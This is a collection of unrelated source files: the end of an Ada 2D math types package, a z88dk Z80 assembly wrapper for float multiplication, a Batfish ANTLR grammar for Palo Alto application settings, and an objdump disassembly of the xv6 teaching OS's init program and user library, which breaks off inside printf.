package Functions is new Ada.Numerics.Generic_Elementary_Functions (Real_Type);
package Arrays is new Ada.Numerics.Generic_Real_Arrays (Real_Type);
type Point_t is new Arrays.Real_Vector (1 .. 2);
type Vector_t is new Arrays.Real_Vector (1 .. 2);
type Triangle_Point_Index_t is range 1 .. 3;
type Triangle_t is array (Triangle_Point_Index_t) of Point_t;
type Line_Segment_Point_Index_t is range 1 .. 2;
type Line_Segment_t is array (Line_Segment_Point_Index_t) of Point_t;
end Math_2D.Types;
|
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fsmul.asm | jpoikela/z88dk | 640 | 28744 | <filename>libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fsmul.asm
; float __fsmul (float left, float right)
SECTION code_clib
SECTION code_fp_math32
PUBLIC cm32_sdcc_fsmul
EXTERN cm32_sdcc_fsreadr, m32_fsmul
.cm32_sdcc_fsmul
; multiply two sdcc floats
;
; enter : stack = sdcc_float right, sdcc_float left, ret
;
; exit : DEHL = sdcc_float(left*right)
;
; uses : af, bc, de, hl, af', bc', de', hl'
call cm32_sdcc_fsreadr
jp m32_fsmul ; enter stack = sdcc_float right, sdcc_float left, ret
; DEHL = sdcc_float right
; return DEHL = sdcc_float
|
projects/batfish/src/main/antlr4/org/batfish/grammar/palo_alto/PaloAlto_application.g4 | pranavbj-amzn/batfish | 763 | 1611 | parser grammar PaloAlto_application;
import PaloAlto_common;
options {
tokenVocab = PaloAltoLexer;
}
s_application
:
APPLICATION s_application_definition?
;
s_application_definition
:
name = variable
(
sapp_description
| sapp_ignored
)?
;
sapp_description
:
DESCRIPTION description = value
;
sapp_ignored
:
(
sapp_category
| sapp_default_port
| sapp_risk
| sapp_subcategory
| sapp_technology
)
;
sapp_category
:
CATEGORY null_rest_of_line
;
sapp_default_port
:
DEFAULT PORT null_rest_of_line
;
sapp_risk
:
// 1-5
RISK uint8
;
sapp_subcategory
:
SUBCATEGORY null_rest_of_line
;
sapp_technology
:
TECHNOLOGY null_rest_of_line
;
s_application_group
:
APPLICATION_GROUP sappg_definition?
;
sappg_definition
:
name = variable
(
sappg_members
)?
;
sappg_members
:
MEMBERS variable_list?
; |
init.asm | monamansouri/os2-1 | 0 | 95960 |
_init: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
char *argv[] = { "sh", 0 };
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
int pid, wpid;
if(open("console", O_RDWR) < 0){
f: 83 ec 08 sub $0x8,%esp
12: 6a 02 push $0x2
14: 68 28 08 00 00 push $0x828
19: e8 53 03 00 00 call 371 <open>
1e: 83 c4 10 add $0x10,%esp
21: 85 c0 test %eax,%eax
23: 0f 88 9f 00 00 00 js c8 <main+0xc8>
mknod("console", 1, 1);
open("console", O_RDWR);
}
dup(0); // stdout
29: 83 ec 0c sub $0xc,%esp
2c: 6a 00 push $0x0
2e: e8 76 03 00 00 call 3a9 <dup>
dup(0); // stderr
33: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3a: e8 6a 03 00 00 call 3a9 <dup>
3f: 83 c4 10 add $0x10,%esp
42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
for(;;){
printf(1, "init: starting sh\n");
48: 83 ec 08 sub $0x8,%esp
4b: 68 30 08 00 00 push $0x830
50: 6a 01 push $0x1
52: e8 69 04 00 00 call 4c0 <printf>
pid = fork();
57: e8 cd 02 00 00 call 329 <fork>
if(pid < 0){
5c: 83 c4 10 add $0x10,%esp
pid = fork();
5f: 89 c3 mov %eax,%ebx
if(pid < 0){
61: 85 c0 test %eax,%eax
63: 78 2c js 91 <main+0x91>
printf(1, "init: fork failed\n");
exit();
}
if(pid == 0){
65: 74 3d je a4 <main+0xa4>
67: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
6e: 66 90 xchg %ax,%ax
exec("sh", argv);
printf(1, "init: exec sh failed\n");
exit();
}
while((wpid=wait()) >= 0 && wpid != pid)
70: e8 c4 02 00 00 call 339 <wait>
75: 85 c0 test %eax,%eax
77: 78 cf js 48 <main+0x48>
79: 39 c3 cmp %eax,%ebx
7b: 74 cb je 48 <main+0x48>
printf(1, "zombie!\n");
7d: 83 ec 08 sub $0x8,%esp
80: 68 6f 08 00 00 push $0x86f
85: 6a 01 push $0x1
87: e8 34 04 00 00 call 4c0 <printf>
8c: 83 c4 10 add $0x10,%esp
8f: eb df jmp 70 <main+0x70>
printf(1, "init: fork failed\n");
91: 53 push %ebx
92: 53 push %ebx
93: 68 43 08 00 00 push $0x843
98: 6a 01 push $0x1
9a: e8 21 04 00 00 call 4c0 <printf>
exit();
9f: e8 8d 02 00 00 call 331 <exit>
exec("sh", argv);
a4: 50 push %eax
a5: 50 push %eax
a6: 68 24 0b 00 00 push $0xb24
ab: 68 56 08 00 00 push $0x856
b0: e8 b4 02 00 00 call 369 <exec>
printf(1, "init: exec sh failed\n");
b5: 5a pop %edx
b6: 59 pop %ecx
b7: 68 59 08 00 00 push $0x859
bc: 6a 01 push $0x1
be: e8 fd 03 00 00 call 4c0 <printf>
exit();
c3: e8 69 02 00 00 call 331 <exit>
mknod("console", 1, 1);
c8: 50 push %eax
c9: 6a 01 push $0x1
cb: 6a 01 push $0x1
cd: 68 28 08 00 00 push $0x828
d2: e8 a2 02 00 00 call 379 <mknod>
open("console", O_RDWR);
d7: 58 pop %eax
d8: 5a pop %edx
d9: 6a 02 push $0x2
db: 68 28 08 00 00 push $0x828
e0: e8 8c 02 00 00 call 371 <open>
e5: 83 c4 10 add $0x10,%esp
e8: e9 3c ff ff ff jmp 29 <main+0x29>
ed: 66 90 xchg %ax,%ax
ef: 90 nop
000000f0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
f0: 55 push %ebp
char *os;
os = s;
while((*s++ = *t++) != 0)
f1: 31 d2 xor %edx,%edx
{
f3: 89 e5 mov %esp,%ebp
f5: 53 push %ebx
f6: 8b 45 08 mov 0x8(%ebp),%eax
f9: 8b 5d 0c mov 0xc(%ebp),%ebx
fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((*s++ = *t++) != 0)
100: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
104: 88 0c 10 mov %cl,(%eax,%edx,1)
107: 83 c2 01 add $0x1,%edx
10a: 84 c9 test %cl,%cl
10c: 75 f2 jne 100 <strcpy+0x10>
;
return os;
}
10e: 5b pop %ebx
10f: 5d pop %ebp
110: c3 ret
111: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
118: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
11f: 90 nop
00000120 <strcmp>:
int
strcmp(const char *p, const char *q)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 56 push %esi
124: 53 push %ebx
125: 8b 5d 08 mov 0x8(%ebp),%ebx
128: 8b 75 0c mov 0xc(%ebp),%esi
while(*p && *p == *q)
12b: 0f b6 13 movzbl (%ebx),%edx
12e: 0f b6 0e movzbl (%esi),%ecx
131: 84 d2 test %dl,%dl
133: 74 1e je 153 <strcmp+0x33>
135: b8 01 00 00 00 mov $0x1,%eax
13a: 38 ca cmp %cl,%dl
13c: 74 09 je 147 <strcmp+0x27>
13e: eb 20 jmp 160 <strcmp+0x40>
140: 83 c0 01 add $0x1,%eax
143: 38 ca cmp %cl,%dl
145: 75 19 jne 160 <strcmp+0x40>
147: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx
14b: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx
14f: 84 d2 test %dl,%dl
151: 75 ed jne 140 <strcmp+0x20>
153: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
155: 5b pop %ebx
156: 5e pop %esi
return (uchar)*p - (uchar)*q;
157: 29 c8 sub %ecx,%eax
}
159: 5d pop %ebp
15a: c3 ret
15b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
15f: 90 nop
160: 0f b6 c2 movzbl %dl,%eax
163: 5b pop %ebx
164: 5e pop %esi
return (uchar)*p - (uchar)*q;
165: 29 c8 sub %ecx,%eax
}
167: 5d pop %ebp
168: c3 ret
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000170 <strlen>:
int
strlen(const char *s)
{
170: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
171: 31 c0 xor %eax,%eax
{
173: 89 e5 mov %esp,%ebp
175: 8b 55 08 mov 0x8(%ebp),%edx
for(n = 0; s[n]; n++)
178: 80 3a 00 cmpb $0x0,(%edx)
17b: 74 0c je 189 <strlen+0x19>
17d: 8d 76 00 lea 0x0(%esi),%esi
180: 83 c0 01 add $0x1,%eax
183: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
187: 75 f7 jne 180 <strlen+0x10>
;
return n;
}
189: 5d pop %ebp
18a: c3 ret
18b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
18f: 90 nop
00000190 <memset>:
void*
memset(void *dst, int c, int n)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
197: 8b 4d 10 mov 0x10(%ebp),%ecx
19a: 8b 45 0c mov 0xc(%ebp),%eax
19d: 89 d7 mov %edx,%edi
19f: fc cld
1a0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1a2: 89 d0 mov %edx,%eax
1a4: 5f pop %edi
1a5: 5d pop %ebp
1a6: c3 ret
1a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1ae: 66 90 xchg %ax,%ax
000001b0 <strchr>:
char*
strchr(const char *s, char c)
{
1b0: 55 push %ebp
1b1: 89 e5 mov %esp,%ebp
1b3: 53 push %ebx
1b4: 8b 45 08 mov 0x8(%ebp),%eax
1b7: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
1ba: 0f b6 18 movzbl (%eax),%ebx
1bd: 84 db test %bl,%bl
1bf: 74 1d je 1de <strchr+0x2e>
1c1: 89 d1 mov %edx,%ecx
if(*s == c)
1c3: 38 d3 cmp %dl,%bl
1c5: 75 0d jne 1d4 <strchr+0x24>
1c7: eb 17 jmp 1e0 <strchr+0x30>
1c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1d0: 38 ca cmp %cl,%dl
1d2: 74 0c je 1e0 <strchr+0x30>
for(; *s; s++)
1d4: 83 c0 01 add $0x1,%eax
1d7: 0f b6 10 movzbl (%eax),%edx
1da: 84 d2 test %dl,%dl
1dc: 75 f2 jne 1d0 <strchr+0x20>
return (char*)s;
return 0;
1de: 31 c0 xor %eax,%eax
}
1e0: 5b pop %ebx
1e1: 5d pop %ebp
1e2: c3 ret
1e3: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000001f0 <gets>:
char*
gets(char *buf, int max)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
1f5: 31 f6 xor %esi,%esi
{
1f7: 53 push %ebx
1f8: 89 f3 mov %esi,%ebx
1fa: 83 ec 1c sub $0x1c,%esp
1fd: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
200: eb 2f jmp 231 <gets+0x41>
202: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
208: 83 ec 04 sub $0x4,%esp
20b: 8d 45 e7 lea -0x19(%ebp),%eax
20e: 6a 01 push $0x1
210: 50 push %eax
211: 6a 00 push $0x0
213: e8 31 01 00 00 call 349 <read>
if(cc < 1)
218: 83 c4 10 add $0x10,%esp
21b: 85 c0 test %eax,%eax
21d: 7e 1c jle 23b <gets+0x4b>
break;
buf[i++] = c;
21f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
223: 83 c7 01 add $0x1,%edi
226: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
229: 3c 0a cmp $0xa,%al
22b: 74 23 je 250 <gets+0x60>
22d: 3c 0d cmp $0xd,%al
22f: 74 1f je 250 <gets+0x60>
for(i=0; i+1 < max; ){
231: 83 c3 01 add $0x1,%ebx
234: 89 fe mov %edi,%esi
236: 3b 5d 0c cmp 0xc(%ebp),%ebx
239: 7c cd jl 208 <gets+0x18>
23b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
23d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
240: c6 03 00 movb $0x0,(%ebx)
}
243: 8d 65 f4 lea -0xc(%ebp),%esp
246: 5b pop %ebx
247: 5e pop %esi
248: 5f pop %edi
249: 5d pop %ebp
24a: c3 ret
24b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
24f: 90 nop
250: 8b 75 08 mov 0x8(%ebp),%esi
253: 8b 45 08 mov 0x8(%ebp),%eax
256: 01 de add %ebx,%esi
258: 89 f3 mov %esi,%ebx
buf[i] = '\0';
25a: c6 03 00 movb $0x0,(%ebx)
}
25d: 8d 65 f4 lea -0xc(%ebp),%esp
260: 5b pop %ebx
261: 5e pop %esi
262: 5f pop %edi
263: 5d pop %ebp
264: c3 ret
265: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
26c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000270 <stat>:
int
stat(const char *n, struct stat *st)
{
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 56 push %esi
274: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
275: 83 ec 08 sub $0x8,%esp
278: 6a 00 push $0x0
27a: ff 75 08 pushl 0x8(%ebp)
27d: e8 ef 00 00 00 call 371 <open>
if(fd < 0)
282: 83 c4 10 add $0x10,%esp
285: 85 c0 test %eax,%eax
287: 78 27 js 2b0 <stat+0x40>
return -1;
r = fstat(fd, st);
289: 83 ec 08 sub $0x8,%esp
28c: ff 75 0c pushl 0xc(%ebp)
28f: 89 c3 mov %eax,%ebx
291: 50 push %eax
292: e8 f2 00 00 00 call 389 <fstat>
close(fd);
297: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
29a: 89 c6 mov %eax,%esi
close(fd);
29c: e8 b8 00 00 00 call 359 <close>
return r;
2a1: 83 c4 10 add $0x10,%esp
}
2a4: 8d 65 f8 lea -0x8(%ebp),%esp
2a7: 89 f0 mov %esi,%eax
2a9: 5b pop %ebx
2aa: 5e pop %esi
2ab: 5d pop %ebp
2ac: c3 ret
2ad: 8d 76 00 lea 0x0(%esi),%esi
return -1;
2b0: be ff ff ff ff mov $0xffffffff,%esi
2b5: eb ed jmp 2a4 <stat+0x34>
2b7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2be: 66 90 xchg %ax,%ax
000002c0 <atoi>:
int
atoi(const char *s)
{
2c0: 55 push %ebp
2c1: 89 e5 mov %esp,%ebp
2c3: 53 push %ebx
2c4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
2c7: 0f be 11 movsbl (%ecx),%edx
2ca: 8d 42 d0 lea -0x30(%edx),%eax
2cd: 3c 09 cmp $0x9,%al
n = 0;
2cf: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
2d4: 77 1f ja 2f5 <atoi+0x35>
2d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2dd: 8d 76 00 lea 0x0(%esi),%esi
n = n*10 + *s++ - '0';
2e0: 83 c1 01 add $0x1,%ecx
2e3: 8d 04 80 lea (%eax,%eax,4),%eax
2e6: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
2ea: 0f be 11 movsbl (%ecx),%edx
2ed: 8d 5a d0 lea -0x30(%edx),%ebx
2f0: 80 fb 09 cmp $0x9,%bl
2f3: 76 eb jbe 2e0 <atoi+0x20>
return n;
}
2f5: 5b pop %ebx
2f6: 5d pop %ebp
2f7: c3 ret
2f8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
2ff: 90 nop
00000300 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
300: 55 push %ebp
301: 89 e5 mov %esp,%ebp
303: 57 push %edi
304: 8b 55 10 mov 0x10(%ebp),%edx
307: 8b 45 08 mov 0x8(%ebp),%eax
30a: 56 push %esi
30b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
30e: 85 d2 test %edx,%edx
310: 7e 13 jle 325 <memmove+0x25>
312: 01 c2 add %eax,%edx
dst = vdst;
314: 89 c7 mov %eax,%edi
316: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
31d: 8d 76 00 lea 0x0(%esi),%esi
*dst++ = *src++;
320: a4 movsb %ds:(%esi),%es:(%edi)
while(n-- > 0)
321: 39 fa cmp %edi,%edx
323: 75 fb jne 320 <memmove+0x20>
return vdst;
}
325: 5e pop %esi
326: 5f pop %edi
327: 5d pop %ebp
328: c3 ret
00000329 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
329: b8 01 00 00 00 mov $0x1,%eax
32e: cd 40 int $0x40
330: c3 ret
00000331 <exit>:
SYSCALL(exit)
331: b8 02 00 00 00 mov $0x2,%eax
336: cd 40 int $0x40
338: c3 ret
00000339 <wait>:
SYSCALL(wait)
339: b8 03 00 00 00 mov $0x3,%eax
33e: cd 40 int $0x40
340: c3 ret
00000341 <pipe>:
SYSCALL(pipe)
341: b8 04 00 00 00 mov $0x4,%eax
346: cd 40 int $0x40
348: c3 ret
00000349 <read>:
SYSCALL(read)
349: b8 05 00 00 00 mov $0x5,%eax
34e: cd 40 int $0x40
350: c3 ret
00000351 <write>:
SYSCALL(write)
351: b8 10 00 00 00 mov $0x10,%eax
356: cd 40 int $0x40
358: c3 ret
00000359 <close>:
SYSCALL(close)
359: b8 15 00 00 00 mov $0x15,%eax
35e: cd 40 int $0x40
360: c3 ret
00000361 <kill>:
SYSCALL(kill)
361: b8 06 00 00 00 mov $0x6,%eax
366: cd 40 int $0x40
368: c3 ret
00000369 <exec>:
SYSCALL(exec)
369: b8 07 00 00 00 mov $0x7,%eax
36e: cd 40 int $0x40
370: c3 ret
00000371 <open>:
SYSCALL(open)
371: b8 0f 00 00 00 mov $0xf,%eax
376: cd 40 int $0x40
378: c3 ret
00000379 <mknod>:
SYSCALL(mknod)
379: b8 11 00 00 00 mov $0x11,%eax
37e: cd 40 int $0x40
380: c3 ret
00000381 <unlink>:
SYSCALL(unlink)
381: b8 12 00 00 00 mov $0x12,%eax
386: cd 40 int $0x40
388: c3 ret
00000389 <fstat>:
SYSCALL(fstat)
389: b8 08 00 00 00 mov $0x8,%eax
38e: cd 40 int $0x40
390: c3 ret
00000391 <link>:
SYSCALL(link)
391: b8 13 00 00 00 mov $0x13,%eax
396: cd 40 int $0x40
398: c3 ret
00000399 <mkdir>:
SYSCALL(mkdir)
399: b8 14 00 00 00 mov $0x14,%eax
39e: cd 40 int $0x40
3a0: c3 ret
000003a1 <chdir>:
SYSCALL(chdir)
3a1: b8 09 00 00 00 mov $0x9,%eax
3a6: cd 40 int $0x40
3a8: c3 ret
000003a9 <dup>:
SYSCALL(dup)
3a9: b8 0a 00 00 00 mov $0xa,%eax
3ae: cd 40 int $0x40
3b0: c3 ret
000003b1 <getpid>:
SYSCALL(getpid)
3b1: b8 0b 00 00 00 mov $0xb,%eax
3b6: cd 40 int $0x40
3b8: c3 ret
000003b9 <sbrk>:
SYSCALL(sbrk)
3b9: b8 0c 00 00 00 mov $0xc,%eax
3be: cd 40 int $0x40
3c0: c3 ret
000003c1 <sleep>:
SYSCALL(sleep)
3c1: b8 0d 00 00 00 mov $0xd,%eax
3c6: cd 40 int $0x40
3c8: c3 ret
000003c9 <uptime>:
SYSCALL(uptime)
3c9: b8 0e 00 00 00 mov $0xe,%eax
3ce: cd 40 int $0x40
3d0: c3 ret
000003d1 <getChild>:
SYSCALL(getChild)
3d1: b8 16 00 00 00 mov $0x16,%eax
3d6: cd 40 int $0x40
3d8: c3 ret
000003d9 <getCount>:
SYSCALL(getCount)
3d9: b8 17 00 00 00 mov $0x17,%eax
3de: cd 40 int $0x40
3e0: c3 ret
000003e1 <getppid>:
SYSCALL(getppid)
3e1: b8 18 00 00 00 mov $0x18,%eax
3e6: cd 40 int $0x40
3e8: c3 ret
000003e9 <changePolicy>:
SYSCALL(changePolicy)
3e9: b8 19 00 00 00 mov $0x19,%eax
3ee: cd 40 int $0x40
3f0: c3 ret
3f1: 66 90 xchg %ax,%ax
3f3: 66 90 xchg %ax,%ax
3f5: 66 90 xchg %ax,%ax
3f7: 66 90 xchg %ax,%ax
3f9: 66 90 xchg %ax,%ax
3fb: 66 90 xchg %ax,%ax
3fd: 66 90 xchg %ax,%ax
3ff: 90 nop
00000400 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
406: 89 d3 mov %edx,%ebx
{
408: 83 ec 3c sub $0x3c,%esp
40b: 89 45 bc mov %eax,-0x44(%ebp)
if(sgn && xx < 0){
40e: 85 d2 test %edx,%edx
410: 0f 89 92 00 00 00 jns 4a8 <printint+0xa8>
416: f6 45 08 01 testb $0x1,0x8(%ebp)
41a: 0f 84 88 00 00 00 je 4a8 <printint+0xa8>
neg = 1;
420: c7 45 c0 01 00 00 00 movl $0x1,-0x40(%ebp)
x = -xx;
427: f7 db neg %ebx
} else {
x = xx;
}
i = 0;
429: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
430: 8d 75 d7 lea -0x29(%ebp),%esi
433: eb 08 jmp 43d <printint+0x3d>
435: 8d 76 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
438: 89 7d c4 mov %edi,-0x3c(%ebp)
}while((x /= base) != 0);
43b: 89 c3 mov %eax,%ebx
buf[i++] = digits[x % base];
43d: 89 d8 mov %ebx,%eax
43f: 31 d2 xor %edx,%edx
441: 8b 7d c4 mov -0x3c(%ebp),%edi
444: f7 f1 div %ecx
446: 83 c7 01 add $0x1,%edi
449: 0f b6 92 80 08 00 00 movzbl 0x880(%edx),%edx
450: 88 14 3e mov %dl,(%esi,%edi,1)
}while((x /= base) != 0);
453: 39 d9 cmp %ebx,%ecx
455: 76 e1 jbe 438 <printint+0x38>
if(neg)
457: 8b 45 c0 mov -0x40(%ebp),%eax
45a: 85 c0 test %eax,%eax
45c: 74 0d je 46b <printint+0x6b>
buf[i++] = '-';
45e: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
463: ba 2d 00 00 00 mov $0x2d,%edx
buf[i++] = digits[x % base];
468: 89 7d c4 mov %edi,-0x3c(%ebp)
46b: 8b 45 c4 mov -0x3c(%ebp),%eax
46e: 8b 7d bc mov -0x44(%ebp),%edi
471: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx
475: eb 0f jmp 486 <printint+0x86>
477: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
47e: 66 90 xchg %ax,%ax
480: 0f b6 13 movzbl (%ebx),%edx
483: 83 eb 01 sub $0x1,%ebx
write(fd, &c, 1);
486: 83 ec 04 sub $0x4,%esp
489: 88 55 d7 mov %dl,-0x29(%ebp)
48c: 6a 01 push $0x1
48e: 56 push %esi
48f: 57 push %edi
490: e8 bc fe ff ff call 351 <write>
while(--i >= 0)
495: 83 c4 10 add $0x10,%esp
498: 39 de cmp %ebx,%esi
49a: 75 e4 jne 480 <printint+0x80>
putc(fd, buf[i]);
}
49c: 8d 65 f4 lea -0xc(%ebp),%esp
49f: 5b pop %ebx
4a0: 5e pop %esi
4a1: 5f pop %edi
4a2: 5d pop %ebp
4a3: c3 ret
4a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
4a8: c7 45 c0 00 00 00 00 movl $0x0,-0x40(%ebp)
4af: e9 75 ff ff ff jmp 429 <printint+0x29>
4b4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
4bf: 90 nop
000004c0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
4c0: 55 push %ebp
4c1: 89 e5 mov %esp,%ebp
4c3: 57 push %edi
4c4: 56 push %esi
4c5: 53 push %ebx
4c6: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4c9: 8b 75 0c mov 0xc(%ebp),%esi
4cc: 0f b6 1e movzbl (%esi),%ebx
4cf: 84 db test %bl,%bl
4d1: 0f 84 b9 00 00 00 je 590 <printf+0xd0>
ap = (uint*)(void*)&fmt + 1;
4d7: 8d 45 10 lea 0x10(%ebp),%eax
4da: 83 c6 01 add $0x1,%esi
write(fd, &c, 1);
4dd: 8d 7d e7 lea -0x19(%ebp),%edi
state = 0;
4e0: 31 d2 xor %edx,%edx
ap = (uint*)(void*)&fmt + 1;
4e2: 89 45 d0 mov %eax,-0x30(%ebp)
4e5: eb 38 jmp 51f <printf+0x5f>
4e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
4ee: 66 90 xchg %ax,%ax
4f0: 89 55 d4 mov %edx,-0x2c(%ebp)
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
4f3: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
4f8: 83 f8 25 cmp $0x25,%eax
4fb: 74 17 je 514 <printf+0x54>
write(fd, &c, 1);
4fd: 83 ec 04 sub $0x4,%esp
500: 88 5d e7 mov %bl,-0x19(%ebp)
503: 6a 01 push $0x1
505: 57 push %edi
506: ff 75 08 pushl 0x8(%ebp)
509: e8 43 fe ff ff call 351 <write>
50e: 8b 55 d4 mov -0x2c(%ebp),%edx
} else {
putc(fd, c);
511: 83 c4 10 add $0x10,%esp
514: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
517: 0f b6 5e ff movzbl -0x1(%esi),%ebx
51b: 84 db test %bl,%bl
51d: 74 71 je 590 <printf+0xd0>
c = fmt[i] & 0xff;
51f: 0f be cb movsbl %bl,%ecx
522: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
525: 85 d2 test %edx,%edx
527: 74 c7 je 4f0 <printf+0x30>
}
} else if(state == '%'){
529: 83 fa 25 cmp $0x25,%edx
52c: 75 e6 jne 514 <printf+0x54>
if(c == 'd'){
52e: 83 f8 64 cmp $0x64,%eax
531: 0f 84 99 00 00 00 je 5d0 <printf+0x110>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
537: 81 e1 f7 00 00 00 and $0xf7,%ecx
53d: 83 f9 70 cmp $0x70,%ecx
540: 74 5e je 5a0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
542: 83 f8 73 cmp $0x73,%eax
545: 0f 84 d5 00 00 00 je 620 <printf+0x160>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
54b: 83 f8 63 cmp $0x63,%eax
54e: 0f 84 8c 00 00 00 je 5e0 <printf+0x120>
putc(fd, *ap);
ap++;
} else if(c == '%'){
554: 83 f8 25 cmp $0x25,%eax
557: 0f 84 b3 00 00 00 je 610 <printf+0x150>
write(fd, &c, 1);
55d: 83 ec 04 sub $0x4,%esp
560: c6 45 e7 25 movb $0x25,-0x19(%ebp)
564: 6a 01 push $0x1
566: 57 push %edi
567: ff 75 08 pushl 0x8(%ebp)
56a: e8 e2 fd ff ff call 351 <write>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
56f: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
572: 83 c4 0c add $0xc,%esp
575: 6a 01 push $0x1
577: 83 c6 01 add $0x1,%esi
57a: 57 push %edi
57b: ff 75 08 pushl 0x8(%ebp)
57e: e8 ce fd ff ff call 351 <write>
for(i = 0; fmt[i]; i++){
583: 0f b6 5e ff movzbl -0x1(%esi),%ebx
putc(fd, c);
587: 83 c4 10 add $0x10,%esp
}
state = 0;
58a: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
58c: 84 db test %bl,%bl
58e: 75 8f jne 51f <printf+0x5f>
}
}
}
590: 8d 65 f4 lea -0xc(%ebp),%esp
593: 5b pop %ebx
594: 5e pop %esi
595: 5f pop %edi
596: 5d pop %ebp
597: c3 ret
598: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
59f: 90 nop
printint(fd, *ap, 16, 0);
5a0: 83 ec 0c sub $0xc,%esp
5a3: b9 10 00 00 00 mov $0x10,%ecx
5a8: 6a 00 push $0x0
5aa: 8b 5d d0 mov -0x30(%ebp),%ebx
5ad: 8b 45 08 mov 0x8(%ebp),%eax
